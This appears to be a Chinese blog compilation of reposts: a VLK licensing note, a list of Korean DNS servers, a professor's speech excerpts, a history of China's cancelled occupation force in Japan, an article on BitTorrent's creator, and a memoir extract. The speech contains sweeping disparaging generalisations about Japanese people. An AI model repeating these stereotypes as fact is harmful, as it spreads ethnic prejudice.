或者说,VLK不是指一种版本,而是指这种版本在部署(deploy)过程中所需要的Key,而需要VLK这种Key的版本应该叫做VOL!只 不过在实际中,没有必要强调这种叫法、称呼的准确性,加之很多人的VOL版本光盘是通过企业的选择式许可证、企业协议等方式得到的等等原因,所以才会有很 多人叫他为“选择版”等等。
官方网站有一个表格,上面有一句话:“Different products require different Volume Licensing Keys (VLKs). Refer to the table below to make sure you have the correct VLK for your Microsoft product.”,我想这就很好的说明了VLK指的是Key而不是产品了。 很明显的,FPP需要激活,VOL不需要激活。
出处:PConline

一些国外DNS服务器 韩国[kr]

 

今天在网上闲逛,发现了几个韩国的DNS服务器.
摘了下来,常看韩国站点,或一些被国内屏幂的站点的朋友,可以试试.

单捞哪.
nis.dacom.co.kr internet address = 164.124.101.31
ns2.dacom.co.kr internet address = 203.248.240.31

窍捞炮.
nis.hitel.net internet address = 203.245.15.9
nis2.hitel.net internet address = 211.47.45.23

窍唱齿.
ns.hananet.net internet address = 210.94.0.7
ns2.hananet.net internet address = 210.180.98.69

穿府齿.
ns.kr.psi.net internet address = 203.255.112.34
ns2.kr.psi.net internet address = 203.255.112.4
ns.jp.psi.net internet address = 154.33.63.254
ns.cw.net internet address = 204.70.128.1

内齿.
NS.kornet.net internet address = 168.126.63.1
NS2.kornet.net internet address = 168.126.63.2
VDNS.kornet.net internet address = 168.126.3.30
W4.kornet.net internet address = 168.126.63.21

唱快穿府.
ns.nownuri.net internet address = 203.238.128.24
ns2.nownuri.net internet address = 203.238.128.22

俊掂齿.
ns.edunet4u.net internet address = 210.102.100.1

滴风齿
ns2.thrunet.com internet address = 210.117.65.2
ns.thrunet.com internet address = 210.117.65.100

大学教授的讲演语录节选

 

一个大学教授让人发冷汗的讲演


演讲人:浙大高分子物理郑强教授

语录节选:

“在中国这个发展中国家,你能建10所世界一流大学,那美国有多少所?日本有多少所? 现在的实际状况是:世界上前200所大学,中国一所都排不进!在亚洲能排出几所?我到国外去看了以后,感到要将浙大建成世界一流大学就像共产主义理想.”

“以前说”无知无畏”,现在却是”无知才无畏”,许多企业把浙江省技术监督局、科委的人请来吃一顿饭,喝一点酒,他就给你签个字,再把我们这些教授胁迫到那里去,给你盖个章,然后就是”填补国内外空白”、”国际先进水平”,写论文则是”国际领先水平的研究成果”、”首次科学发现”等等,这都是目前非常严重的问题!作为一个大学教授,我深深地为此担忧!这不是我们的责任,是我们的领导无知,是他们倡导了这个主流.我知道在座的处长或老总日子很难过,因为你们不写这样的报表,就拿不到钱,项目就得不到批准.教授也同样如此,天天写报告,而不是在实验室静下心来好好搞研究,这是很严重的!”

“我们国家的现实和发展就是这样:凡是依赖不成的,我们自己都能搞得像模像样,比如 二弹一星;凡是能够引进的,就都搞不成……现在很多合资企业就这样,卖点东西,而没有去考虑这些深层次的东西.殊不知,这就是社会的恶性循环!”

“我认为:语言、计算机就是工具.中国的外语教授讲英语还不如美国卖菜的农民!怎么看待这个问题?日本博士、德国教授说不出英语的多得是!我们怎么能说一个人不会说英语就是文盲呢?语言就是一个工具!你没有那个环境,他怎么能讲这个语言呢?……如果我是教育部长,我要改革二件事:第一,取消六级考试,你一个研究生连中文一级都不及格,你英文考六级干什么呢?看看研究生写得论文,自己的民族文化都没有学好,天天考英语──打勾:托福打勾,gre打勾,英文考出很高的分,可哪个写的英文论文在我面前过得了关呢?过不了关!这样培养出来的人能干什么?自己搞的专业一点都没学好!……说不会计算机就是文盲,这又是一个误区!我现在是教授,我顾 不上搞计算机!”

“你看我,从高中开始学英语,大学学,硕士学,博士学,花了我多少精力!你说中国人怎么做得出高科技的研究成果?我这几天就教训我手下的几位女学生,问她们在干什么,看不到人影,一天到晚考这样、考那样的,到美国去干什么?在国内要干的事多着呢!你整天考英语,美国人连报个名都要收你们的钱,日本人也是如此,中国学生到日本去要交手续费,到日本留学是为日本人打工,好不容易挣点钱交了学费,读完博士在日本的公司就职,当劳动力,挣了一笔钱后要回国了就买了家电,把钱全给了日本人.你们都没 有注意这件事,这里面都是经济问题.这就是素质教育到底是什么.”

“中小学的教育就是听话,老师管干部,干部管同学,孩子们都学会了成年化的处世方式,这是害人啊!这样强迫性地做了一些好事后,没有把做好事与做人准则结合起来去培养,而只学会了拍马屁、讨老师喜欢、说成人话.上次电视上就曾经播出,一个小孩得了个奖,主诗人问他最愿意说什么,他说:”我最愿意跟江爷爷说:我向你报告!””江爷爷”是谁?还不是老师教的!孩子们在中小学活得很累,到了大学就没人管了,所以就要玩、就要谈恋爱.”

“我们有很多同学成绩好,却什么都做不了.在我们大学像我这种程度的人,招博士生是从来不看成绩的,成绩算什么!现在我从事的这个领域在中国有叁个杰出的人才,当初在读研究生时都补考过,而成绩考得好的几个人却都跑到美国去卖中药了,这说明了什么问题?作老板的可不能这样啊!……人才的梯队一定要合理,而不要认为教授就是万能的、博士就是万能的.中国的教育体系就是让每一个老百姓都充满希望和理想,教育孩子们要树立远大的理想.实际上,人的能力是不一样的,扫地能扫好,也应该受到尊重;打扫厕所能打扫干净,也应该受到尊重,不能动不动就要高学历.我要提醒的是:在国外可不是这样,美国、日本的博士就很难找到工作,为什么?因为老板心疼钱,招了博士要给他高工资,而他能做什么用呢?这是个具体问题.”

“科技到底该干什么?高科技到底该干什么?如果我是科技部长,该玩的就玩,就像陈景润,他就是玩!陈景润如果是处在今天的中国,他绝对是要去讨饭的,因为他不会去搞产业化,他的英语也不好,他说话都不流利,中文都讲不好,按现在”标准”,他是个文盲,还谈什么教授!日本人就是喜欢美国人,我跟日本人说:你们这个民族爱谁,谁就要向你们扔原子弹.日本人就是喜欢黑人也不喜欢中国人…….我特别对我们的女教授、女同学说:在日本人面前一句日文都不要讲,会也不要讲;日本人一听说你讲英文,特别是看到中国女孩讲英文,腿都要发软,这是真的!”

“中国人为什么这些年都往外跑,最重要的是要让国民自己爱自己国家…….如果我是杭州的市长,我绝对不是狭隘的民族自尊心──如果杭州有什么灾难,我就首先把杭州的老百姓安排在香格里拉,让外国人在外面排队!(掌声!)这样,你才会让你的国民爱自己的国家!一个日本的农民跑到峨嵋山去玩,骨头摔断了,你就用中国空军的直升飞机去救他,而在日本大学一名中国留学生在宿舍里死了7天才被发现;名古屋大学的一对中国博士夫妇和孩子误食有毒磨菇,孩子和母亲死了,父亲则是重症肝炎,在名古屋大学医学院的门诊室等了12个小时,也没有一个日本教授来看望!而你们为什么还要这么友好,以为自己很大度,实际上是被人家耻笑,笑你的无知!你们这个民族*!我们不能这样!我们的领导人跑到国外去访问,看到有几个人在欢迎他们,就感到挺有面子;而外国来了个什么人物,都是警车开道,这究竟是怎么回事?这让我们中国人感到是自豪还是悲哀?所有这些,对教育工作来讲,都是深层次的问题.所以我经常讲,我作为一位自然科学工作者,我教育我的学生,首先是学会做人,没有这些,你学了高分子,外语都是花架子,你不是一个完整的人!”

“一个观念或是一个问题:是不是技术越新越好?今天谈的就都是提醒大家的……技术并不是越新越好,技术要有储备.日本的企业现在卖的东西大都是10年或15年前的技术,好东西他不拿出来,他要等到现有的技术把成本收回并获得尽可能高额的利润以后才会拿出来.其次,我的对手什么时候推出新东西时,我才会出手.不要以为你今天好不容易搞了生产线,明天又有新的了,你的钱还没赚到就换新的,有什么用?我这次到日本刚好谈到悬浮列车──即使何先生在我也要说,这是中国人又在玩高新科技.悬浮列车目前在理论上都还不成熟.日本现在最完善,最经济的就是新干线! 从经济和市场的概念来讲,越先进的东西,风险越大,有可能得到的回报就越少!”

中国军队未能登上日本领土之谜

战后盟国安排美、英、中等国派兵占领日本

1945年8月15日日本投降后,美、苏、中、英等11个同盟国在华盛顿召开会议,决定由美国全权统一办理对日军事占领和日本的重建工作。同时苏、英、中等在反法西斯战争中作出重大贡献的国家,也应派军队对日本进行占领。

早在日本投降之前,美国就已确定了单独占领日本的方针。美国总统杜鲁门说:“对日本的占领不能重蹈德国的覆辙。我不打算分割管制或划分占领区。”他还说:“不容俄国控制日本的任何部分。”

8月11日,美国断然拒绝了苏联提出的由美苏分任占领区总司令的要求。8月13日,美国太平洋盟军总司令道格拉斯·麦克阿瑟被任命为占领日本的盟军总司令。

随后由中、美、英、苏四国成立管制委员会,对日本实行管制。虽然四国都被称为占领国家,实际上占领日本的是美国。英国所派军队不过3000人,而中国也只派了少量军队,二者都受美军控制。美国对苏联很戒备,一开始就没有邀请它派兵参加。

8月14日,杜鲁门总统发布了《一般命令第一号》,划分日军向盟国的各受降区域。其中日本本土以及邻近各岛屿、北纬38度以南的朝鲜、琉球群岛和菲律宾群岛的日本军队,向美国太平洋陆军司令官投降,这样美国在战争一结束就为自己完全控制日本创造了有利条件。

8月15日,日本宣布无条件投降后,按照盟国商定的结果,盟军总司令部设在东京,中、美、英开始准备分别派出武装部队进驻日本。

急于扬眉吐气的中国国民党政府表现还算积极,立即派出以朱世明为团长的“中国军事代表团”率先赴日熟悉情况。8月28日,美军先遣部队也到达厚木机场。30日,麦克阿瑟乘“巴丹”号军用飞机抵达日本。

10月,美国以公文形式致电中国政府,约请中国派一支5万人的军队协助盟国占领日本,并希望由参加过印缅远征作战的孙立人统领的新一军去。然 而,当时蒋介石正指挥国民党军队忙于抢占抗战的胜利果实,已经把最精锐的新一军派往东北,根本没有太多的兵力派到国外,因此只想派出一支5000人的部队 象征性地去日本。可是美国一再要求中国至少要派遣一个师。最后,蒋介石决定由曾在越南河内担任接受日本投降任务的荣誉一师和荣誉二师合编成的六十七师前 往。

进驻日本的中国军人要求五官端正、身高1.70米以上、小学以上文化,连以上军官还要进行交谊舞培训。

当时荣誉二师正在卢汉的指挥下执行北纬16度以北地区日本侵略者的受降任务,他接到国民政府的驻日占领任务后,立即把荣誉二师与荣誉一师整编成 六十七师。荣誉二师系蒋介石嫡系部队,师长戴坚,少将军衔。该师建制完整,兵员充足,有精良的美式装备,是当时较为理想的赴日部队。

该师于1946年2月得到命令后,立即海运至上海江湾驻扎,等待坐飞机到日本。在此期间,该师进行了严格整训,淘汰老、弱、矮、丑的官兵,并从 其他部队中选调五官端正、身高1.70米以上、具有小学以上文化程度的兵员进行补充。整训待命期间,部队特别进行了军容仪表和国际交往礼节的课目训练,连 以上军官甚至还进行吃西餐和跳交谊舞方面的训练。

5月,中国驻日占领军先遣人员、国民党上校参谋廖季威同国民党第六十七师师长戴坚等人从上海乘坐B—24重型轰炸机前往日本同美军商谈中国驻军地点问题。到达后,根据协商,中国占领军驻扎在日本爱知县,必要时再扩大到三重县和静冈县。

当时第六十七师编制为14500人,有步兵团3个、炮兵团1个、运输团1个,此外还有战车、工兵、通信等营各1个,驻扎日本后,将隶属美国第八集团军第一军团指挥。从1946年5月开始,国民党驻日本先遣人员在横滨不断与美军联系驻军的编制、装备以及车辆运输等问题。

6月初,国民党政府国防部发布命令:占领军先遣队正式进驻日本。出国之日,国内各新闻机构都作了大量的宣传报道,《大公报》、《新闻报》、《中 华时报》、《自由中国》等均热情地报道了这一具有历史意义的、扬眉吐气的历史事件,有的报纸甚至将占领军人员全部名单及军衔广为刊载。这些内容在日本也同 时见报,造成很大的政治影响。

6月中旬,先遣队由“中国驻日军事代表团”团长朱世明率领,从上海龙华机场空运直达日本羽田机场,而后由陆路转赴先遣队驻地名古屋。日本当地政 府对先遣队的到来侍应恭谨。为了给即将抵达日本的第六十七师设营布防,先遣队在名古屋全面部署和接收了占领军所需的营房、仓库、港口、车场以及游乐场所等 设施

 

 

蒋介石打内战使占领军进驻日本化为泡影

就在中国驻日占领军大部队正在准备进驻日本的时候,蒋介石也正在为发动全面内战做准备。1946年6月18日,蒋介石发布密令,电告郑州绥靖公署主任刘峙,要他调集部队,围歼李先念部,并命令其攻击部队于6月26日前秘密完成包围之势。

6月26日,刘峙统率30万大军,向宣化店地区的中共军队发起进攻,点燃了全面内战的战火。

与此同时,农历七月初一,驻日先遣队准备工作已基本完成,随后朱世明电告南京政府,请调“中国驻日占领军”出发正式进驻日本。

然而,自电报发出之后,国民党政府应拨给驻日占领军的后勤物资依然迟迟不能到位,这令朱世明焦急万分,经去信确认才知道这些物资早已分发至反共 战场。几天后,朱世明突然接到国民政府来电,要求先遣人员立即全部返回,且驻扎上海机场的驻日占领军已经接到命令,将投入到反共战场,而驻扎在上海的六十 七师也已奉命开往苏鲁豫解放区。

国民党政府还告知朱世明,国军只要在鲁南或江苏泰兴地区一得手,即可将第六十七师调回并按原计划进驻日本。

第六十七师到达苏中之后,被收编到第一绥靖区司令官汤恩伯(7月中旬由李默庵担任)所在部队的第六十五和六十九师。1946年7月6日14时, 汤恩伯发布进攻黄桥、姜堰、海安的命令。我华中野战军在粟裕和谭震林的指挥下,经过一个半月的战斗,一举击溃国民党的进攻。其中,原第六十七师所在部队到 达海安、如皋一带不久,就遭到我华东野战军的重创。

8月28日,粟裕、谭震林所在的华中野战军发来电报,向中共中央和毛主席汇报了刚刚结束的苏鲁豫解放区战果,内容涉及到编在增援部队中的六十七 师的伤亡情况。电报称:我军于26日在如皋西南地区歼灭六十九师之九十九旅后,又于27日在上述地区歼灭由如皋来援之敌六十五师之一八七旅及七十九师一个 团,第二次由如皋增援之一个团亦被歼一半。

至此,原来的第六十七师、准备派到日本的驻日占领军就这样覆灭在反人民的战场上。

日本人个个衣衫褴褛,男男女女提着破皮包或布包低头疾走,听不见人声笑语。他们在盟军占领人员面前低声下气,一看到插着中、英、美、苏四国旗帜的车辆就点头哈腰

在六十七师无法到达日本后,国民党政府只好保留了先遣的驻日军事代表团。中国驻日代表团机构有办公厅,下设4个组、7个处,此外还有宪兵40 人。代表团总部设在日本东京都的麻布区。团长最初为朱世明,后改由商震担任,最后由何世礼担任,他们都是军人,副团长是沈觐鼎,时称首席顾问。

中国驻日代表团的性质虽是外交机构,但因当时中日没有邦交,即使在私人之间,原则上也不能随便来往,必须得到“盟军总部”的允许。美国驻日占领 军的最高统帅麦克阿瑟同时又是盟军最高统帅,盟军总司令部实际上成了美军总部,在占领日本期间,任何问题,中方均需向美国交涉,才有希望得到解决。

中国驻日代表团虽然受制于美国,但他们还是感受到了在日本国土上作为战胜国所受到的尊敬。据当时跟踪驻日军事代表团报道的重庆《东南日报》名记 者赵浩生回忆,中国作为战胜国之一,其驻日军事代表团的工作人员在日本享有各种特权。在神户,工作人员下榻的神户大厦是专门用来接待占领国人员的。从神户 到东京的火车也有占领国人员的专用车厢。到了东京,住进“外人记者俱乐部”,更是进入了特权阶层。这些待遇都是日本平民乃至大部分官员们所无法享受的。

赵浩生回忆说,当时的日本,从东京到横滨,已经变成了一片废墟瓦砾。日本人个个衣衫褴褛,很少看到穿皮鞋的。即使在商业中心银座和最拥挤的东京 车站,也只是见到男男女女提着破皮包或布包低头疾走,听不见人声笑语,只有一片沉重的木屐声。他们在盟军占领人员面前显得低声下气,在街上一看到插着中、 英、美、苏四国旗帜的车辆就点头哈腰,给人的感觉好像是真的无条件投降了。一些了解日本国民性的中国军事代表团成员分析说,日本是个非常讲究现实的国家, 胜了,它就耀武扬威、作威作福;败了,它便俯首称臣。当时工作人员在日本看到的现象的确如此。

可惜的是,作为战胜国最重要体现的中国军队没有进驻日本,这使得中国对日本的管制缺乏威慑力和强制力,也使得后来中国试图限制日本并要求其彻底反思战争罪行的愿望没有实现,而美国对日本军国主义体制的改造也很不彻底,这些都给今天的世界造成了很大的隐患

BT之父的辛酸奋斗血泪史

在一家又一家注定要倒闭的dot-com公司工作过之后,一位名叫Bram Cohen的年轻程序员最终厌倦了这种失败的生活。

“最终我认为我想做一些人们会实际用到的、有用的并且有趣的项目。”他回忆到。

3年后,28岁的Cohen成为了下一波互联网文件共享风潮的掌门人。如果说Napster是文件交换的第一浪,像Kazaa这样的文件交换网络则代表了第二浪。那么,由Cohen开发的BitTorrent将会引领文件交换的第三浪——目前BitTorrent实际的用户难以估量,但是BitTorrent这个软件至少被下载了超过1000万次。

在早期形式的文件交换网络被唱片业穷追猛打以致步向衰落的同时,像BitTorrent这样的新技术的出现,使得用于视频的大文件的共享和分发 变得更加容易。例如,光是suprnova.org这样的一个网站,就能提供上百套电视节目、最新电影以及版权软件。这甚至令到一向在打击互联网文件交换 中不太积极的电影工业也开始提高警惕。

BT之父 Bram Cohen

然而,Cohen对他所创造的这个系统早已经失去了控制。他表示,当他开发这个系统的时候,大规模的侵犯版权问题是他没有想到的。相反,他开发 这个系统的初衷,是为了使人们在购买合法在线音乐时,不需要再经历那漫长的等待。“很明显,他们的问题在于没有足够的带宽来满足人们的需要。”Cohen 在接受采访时称,“我很清楚,实际上有很多的带宽摆在那里,但是它没有被恰当的使用。还有许多上传容量是人们没用到的。”

这就是BitTorrent背后的本质。在像Napster和Kazaa这样旧有的文件共享系统下,实际上只有一小部分人把文件向世人分享,大 部分用户都只是简单地下载。然而BitTorrent则使用了所谓的Golden Rule原理:你上传的速度越快,你下载的速度就越快。BitTorrent把文件分割成许多小块,当一个用户下载了某一小块时,它就会立即把这一小块上 传给其它用户。因此,所有的用户在下载的同时,也在把自己已下载部分上传给他人。BitTorrent的这种工作原理,使得做“种子”的用户只需少许带 宽,就可以把大文件共享给大量的下载者。

BitTorrent对于Cohen来说,一直是一种脑力训练而不是一种赚钱的途径。不像其它文件交换程序,BitTorrent不但是免费的,而且还是开源的。这意味着只要有足够能力,你完全可以把BitTorrent融入到你自己的程序里面。

BitTorrent的第一个可用版本出现在2002年10月,不过这个版本还有许多要改进的地方。然而,Cohen此时却在为生计发愁。幸运 的是,BitTorrent引起了著名免费软件企业家John Gilmore的注意。Gilmore帮助Cohen解决了部分的生活费用,使得BitTorrent免遭夭折。

BitTorrent真正流行起来是在2003年初,它被用来发布一个新版的Linux。与此同时,还有一些日本卡通的fans凭籍它来共享动画片。

很难衡量BitTorrent的总体使用情况。但是Internet2主干网基础构造的主管Steven C. Corbato表示,他在去年5月份开始就注意到,BitTorrent的流量开始激增。从10月份开始,BitTorrent的流量更是超过了这个超高 速网络总体流量的10%。与之对比,其它的文件交换系统的流量没有一个能超过Internet2总体流量的1%。Internet2又称Abilene主 干,它连接起了美国200多所规模最大的大学,速度比现时的ADSL要快3500多倍。

尽管BitTorrent获得了如此巨大的成功,然而直到几个月前,它并没有为Cohen带来过一分钱。“去年9月份我没有一丁点钱,”Cohen回忆到,他当时只好利用这张信用卡的免息期来透支,填补另一张信用卡的帐单来过活。

Cohen那时并不知道,BitTorrent会为他带来一份工作。某天,他的事情为Valve软件公司的常务董事Gabe Newell所获悉。尽管Valve正在开发令游戏玩家望眼欲穿的Half-Life 2,但是它同时也在建立一个名为Steam的在线分发网络。由于Cohen掌握这个领域的专门技术,所以Valve为他提供了一个职位。Cohen从十月 份起搬到西雅图,开始了他的工作。

一直以来,Cohen都有通过他的网站bitconjurer.org来接受BitTorrent用户的捐款,但是这笔金额一直很少。然而从10月份开始,Cohen父亲鼓励他请求的更直接一点。如今,Cohen称,他每天都能收到上百美元的捐款。

“在过去的几个月,我的生活方式发生了相当戏剧性的变化,获得工作还有捐款的到来,”Cohen说,“这好极了。”

根据Pew Internet和American Life Project的调查数据显示,文件交换正在衰落,这显然是唱片业起诉运动的结果。在去年5月,29%美国的成年互联网用户表示他们参与了文件交换。而到 了11月和12月份,这个数字已经跌到了14%。但是,BitTorrent的忠实用户——无论是卡通狂热爱好者、Linux用户、盗版电影的观赏者—— 似乎在不断增加。

BitTorrent的用户中有不少人对Cohen心怀感激,但是毫不奇怪,电影工业的圈内人不在此列。“BitTorrent决对是处在我们 的雷达防线以内。”美国电影协会的主管Tom Temple在一次电话访问中表示。BitTorrent的迅猛普及,促使该协会开始向BitTorrent站点的管理人发出了侵权通知。

“我们正在调查大量的BitTorrent链接网站,在不久的将来我们可能会向某些站点提出民事或刑事起诉。”Temple称。

对此,Cohen指出,BitTorrent的用户是非匿名的,他们的互联网IP地址很容易就能被看到。“这令我很吃惊,像Suprnova这样的网站竟然能够继续生存,因为他们很容易就会被起诉。”Cohen称。Cohen还补充说,使用BitTorrent来进行非法交易,是“很愚蠢的,因为它不是匿名的。而且由于基层结构的关系,它也不能被改成匿名的。

这就是说,Cohen并不支持许多BitTorrent站点的做法。

“我不打算拿出傲慢的态度,告诉其它人不该怎么做,因为斥责他人的事情与我无关。”他说,“我是以那种找乐子的心态来看待这件事的。”

 

原文出自:纽约时报 | 中文翻译原文刊登网站:太平洋电脑网
P.S. :  BT是用python语言写成的,详细的源码可以到sourceforge.net下载。

附录: 大学十年 (林锐)

摘自<<软件工程思想>>  附录: 大学十年
作者:林锐

 

写此文使我很为难,一是担心读者误以为我轻浮得现在就开始写自传,二是担心朋友们误以为我得了绝症而早早留下遗作。
不论是落俗套还是不落俗套地评价,我在大学十年里都是出类拔萃的好学生。并且一直以来我对朋友们和一些低年级的学生们都有很大的正面影响。这 十年是一个从幼稚到成熟的过程,交织着聪明与蠢笨、勤奋与懒散、狂热与怯懦、成功与失败。做对了的事可树立为榜样,做错的事可挂作为警钟。我写下经历与感 受,期望以此引导和勉励无数比我年轻的学生们。我资历尚浅,既没有哲学家的深遂,也没有诗人的风华,不足以堂皇地育人,只能讲一些故事以表心愿。

我出生在1973年的春节,属牛,是“牛头”。父母为我起了很好听的名字叫“林锐”。这暗示着上天对我别有用心,将降大任于我,可是这时候上 帝去了一趟厕所。天堂与人间的时差如此之大,就在上帝大小便的几分钟内,我混混沌沌地度过了童年和少年,天才因此成为凡人。我小时候生长在浙江黄岩的偏僻 山区。父母都是中学教师,由于山区师资缺乏,父母经常要从一个山头调到另一个山头教学。我换读过的小学的数目比我的年龄还大,没有伙伴,也没有家的概念。 我就象活在货郎担里的小鸡,缩成一团,在高兴或恐惧时至多“啾”“啾”地叫几声。我在读小学与初中的8年里,既不聪明活泼,也不调皮捣蛋,确切地说象块木 头,简直是我名字的反义词。在学习上我没有受过一次表扬,也没有任何值得留念的人或事。唉,无论我现在多么努力都已无法追回失去的8年金色年华,好心痛!
我草草地并且稀里糊涂地在13岁时从初中毕业,无处可去。这下我发慌了,开始渴望学习。我灰溜溜地离开山区,可怜巴巴地到一个比较好的乡下中 学重读初三。我勤快得早晨4:30就起来读英语,脑袋似乎也被吓开窍了,“数理化”学得很好,并且生平第一次在物理考试中得了满分。当我“再一次”从初中 毕业时,我以全校第一的成绩考入了黄岩中学读高中。
黄岩中学分农村班与城市班,我当然是农民阶级。“阶级区别与歧视”对我是相当有促进作用的。我连任了几年的卫生委员,星期六和星期天同学们习 惯地把活留给我,我这小官当得有滋有味。《物理》学得极好,有一种直觉帮我快速准确地解题,常常是老师刚把题目写完我就报出答案来。上物理课时我没法讲废 话,因为我一开口就是标准答案。
可惜我的文科成绩极差。那时期盛传“学好数理化,走遍天下都不怕”,我们年少不懂事,糟踏了学文科的好时光。我写作文的最高目标就是不逃题, 考试前我总是反复祈祷:我没干过坏事,保佑我作文不逃题吧!历史考试时填写“任课老师某年某月某日在我家乡英勇就义”,比谁的成绩更接近零分。更让我沮丧 的是,这些行径都不是我发明的,我顶多是个跟屁虫而已,一点回忆的自豪感都没有。我现在认为文科教育实质是素质教育,如果素质不高,男孩再聪明也难以成大 器,当然也难以吸引好女孩。
高考时我语文得了54分(是班里的中上水平),总分只比重点线高十几分。我不敢报考好地方,只好选择内地。选来选去觉得西安与成都两个城市还 不错,我拿把尺子在地图上一量,发现我家乡离西安的直线距离较短,于是就选了西安。老师们只听说过西安交通大学比较有名气,但谁也不了解。我以为在西安交 通大学是学习开火车、开轮船的,尽管我也很渴望能开车开船,但考虑到自己的身材单小,就忍痛割爱了。我觉得西安电子科技大学的名字很好听,符合我做科学家 的梦想,于是就报考西安电子科技大学(以下简称西电)技术物理系。
上帝精神拌擞地从厕所回来,发现我已经上大学。也许他原先想把我安排在清华或者北大的,但事已至此,干脆也就撒手不管了。他这一偷懒反而是好事,我在读大学的十年中自由发展,成了卓而不群的学生。

刚进西电,首先吸引我的是麻雀和馍。那麻雀滚圆滚圆的,简直是会飞的肉弹。它们不怕人,成堆聚集吵闹,常让我误以为是没有人管教的一群小鸡。 那馍又白又大,既不放盐也不放糖,既不象馒头也不象包子。馍凉了后贼硬,据说有同学被楼上扔下的半块馍砸中脑袋,当场长出一个“肉包子”。最好笑的是人们 把“馍夹肉 ”叫成“肉夹馍”,那东西实在好吃。
西电原是军校,作风严谨,校园并不华丽,生活有些单调。尽管我来自山清水秀的地方,可我的确喜欢西电的粗犷与憨厚。有一天我看到一个新生写的 很肉麻的赞美西电的大字报,有一句是“我踏上了东去的列车”,我不禁笑掉牙。这一笑意味着“大个子欺负小个子”历史的结束,“小个子欺负大个子”新纪元的 开始。
上大学的第一个学期刚好碰上美国打伊拉克(“沙漠风暴”行动)。那时全国都在谈电子战,我们全校都是研究电子的,而且以军事应用为主。在那种气氛里,同学们都有很强的使命感,并且被鼓动得信心十足。
一日,系主任视察早读,偏偏有同学迟到。系主任喝问:“你为什么迟到了?”“因为我来迟了,”同学毫不含糊地回答,昂然入座。那时候的学生充满了理由。
我在班里年龄小个子也小,上课时就象猩猩堆里的猴子那么显眼。由于我们是物理系学生,第一学期的《普通物理》课程就显得非常重要。系副主任给 我们上课,他长得象叶利钦,口若悬河,板书极快。象在高中上物理课那样,我常在“叶利钦”刚写完题目时就报出答案。开头几次,“叶利钦”满脸疑狐地扫视我 们,好像是要抓住拔掉他自行车气门芯的那个捣蛋鬼。后来他在第一排发现了我,我俩乐得裂了嘴。课间休息时,“叶利钦”常坐在我旁边,乘他给同学们答疑时, 我就用笔拔弄他硕大无比的手指,在他指甲上涂点什么。
在第一学年,我就象乱草丛中的野花那样脱颖而出,倍受老师和同学们的关怀。就在我光荣到感觉屁股都能绽放光彩的时候,发现了令我胆战心惊的学 习缺陷——不会做实验。一进实验室,我就束手无策,浑身发抖。我相信大一的学生们都有虚荣心,为了维护“最聪明”这个荣耀,我完全可以掩盖、躲避甚至偷偷 地弥补实验能力的不足。我做了一件了不起的事:为了对抗虚荣的引诱,我夸大其辞地把“缺陷”告诉每一个我认识的人,让我没有机会欺骗自己。
聪明的人并不见得都有智慧,他可能缺乏“真实”这种品质。虽然我是在硕士毕业的时候才立下誓言——“做真实、正直、优秀的科技人员”,但我在18岁的时候就已经做到了“真实”,我必定一生保持。
第一年暑假回家,得到一个惊喜:家里竟然有了电路实验室!因为我常在信中鼓吹自己实验能力何等之差,“长此以往,下场将极为悲惨”。父母经不 起这种“恐吓 ”,当英语教师的父亲将半年的工资连同“私有财产”全部捐出,每周到很远的商品交易市场购买电子元件以及器材,在家里建立了实验室。父亲很威严,我从小就 怕他,但那个暑假我一点也不怕他。我们一起做实验,都从零学起,话不投机就用电烙铁“交流”,完全是同事关系。后来,我的兴趣转向了计算机,家里的实验室 就由父亲独掌,继续发扬光大。现在父亲修理电器的水平在家乡远近闻名,学生们都忘了他是英语教师。
母亲是数学教师,年轻时略有姿色,智力远胜我父亲。当她与他在山头的学校里相遇时,他一顿热情洋溢的饭菜就把她缴械了。我小时候家里很贫穷, 家就象一条飘荡的小船,父亲划桨,母亲掌舵。当我6岁上学时,母亲就说:“儿子啊,你将来只能靠笔吃饭而不能靠锄头吃饭。”小时候,母亲怕我变狡诈而不允 许我学下棋。尽管我在大学里已经相当出色,母亲来信总不忘叮嘱“德智体全面发展”。她常用独特的方式检查我:
(1)看我是否变胖。如果我胖了,表明我懒了。因为勤奋的人没有理由变胖。
(2)看我说话是否还快。如果我说话慢条斯理,表明我变笨了。因为脑子灵活的人没有理由说话不快。
我读博士研究生时,母亲的眉头才舒开。她经常在师生中发表自由言论:“儿子的智力与性格完全是我遗传的,他爸毫无半点功劳。”

本科第三学期的主要课程是电路分析。电路题目常常很滑稽,当你满头大汗地解完方程式时,答案往往是零。我归纳了不少公式用于简化计算,所以照样能在老师画完电路图时报出答案。学习是如此的轻松以致于我有太多的课余时间。在课余我常做两件有意思的事:
(1)我为学习较差的十几名同学办了补习班,给他们讲课,改作业,出考题。我就象老母鸡那样看护着一群小鸡,使班长、学习委员等班干部形同虚设。我这样做既提高了自己的表达能力,又帮助了同学。这事不是老师叫我干的,是我自己的主意。
(2)我经常在宿舍里焊接电子线路,技艺渐精。我曾花了两天时间,把磁带盒做成能发声、发光的精美礼物,乐颠颠地送给一个女孩子。可惜不久后我迷上了计算机,从此再也没亲手做过好玩的东西。
上大学以前我根本没见过计算机。在第四学期时我遇到了十年来最敬爱的老师周维真,从而对编程产生了强烈的兴趣。他教我们Fortran语 言,Fortran语言本身对我没有影响,影响我的是周老师高尚的师德以及他在教学和科研中的敬业精神。我从他那里学到的是怎样做人,怎样做事。
很多计算机系老师改作业时喜欢打“√”或打“×”了事。周老师不仅把作业里的错误都找出来,而且逐一评注“好在哪里”和“差在哪里”。为了不让周老师过于劳累,全系同学有一个约定:上课时不准吵闹,否则别来;作业必须清楚,否则别交;提的问题必须有质量,否则闭嘴。
Fortran语言期末考试,我的卷面成绩是97分,有个女同学考了99分。我当时官为课代表,想不到被一个女生超过,甚为沮丧。可是报到系里的成绩单 上,我的成绩是99分,那个女同学是97分。我以为周老师搞错了,跑去问他。周老师笑笑说:“你平时的学习表现,该得满分。不能因为考试中的一个失误而打 击你的积极性,所以给你加2分作为鼓励。而她一上机就束手无策,要让她知道考试成绩高并不表示已经学好了,扣她2分以示警告。你本来就是第一名。”这时又 跑来一个“查”成绩的同学,他得了59分,哀求周老师让他及格。周老师说:“你的试卷我看了好几遍,的的确确是59分。而你平时的学习表现也不会超过59 分。这一分不能加,否则我会害你一生。”在我这一级(90级),周老师至少为技术物理系教出两名软件高手——我和马佩军。我和马佩军读到硕士时已在软件方 面雄霸西电,计算机系学生毫无翻身之望。由于马佩军
不好名利,风头让我一人独得。我离开西电数年后,余威尚在。可惜我和周老师相处不到一年,他便调到北京信息工程学院。然而师恩的厚薄不在于时间长短,好的老师会让人想念、感激一辈子。

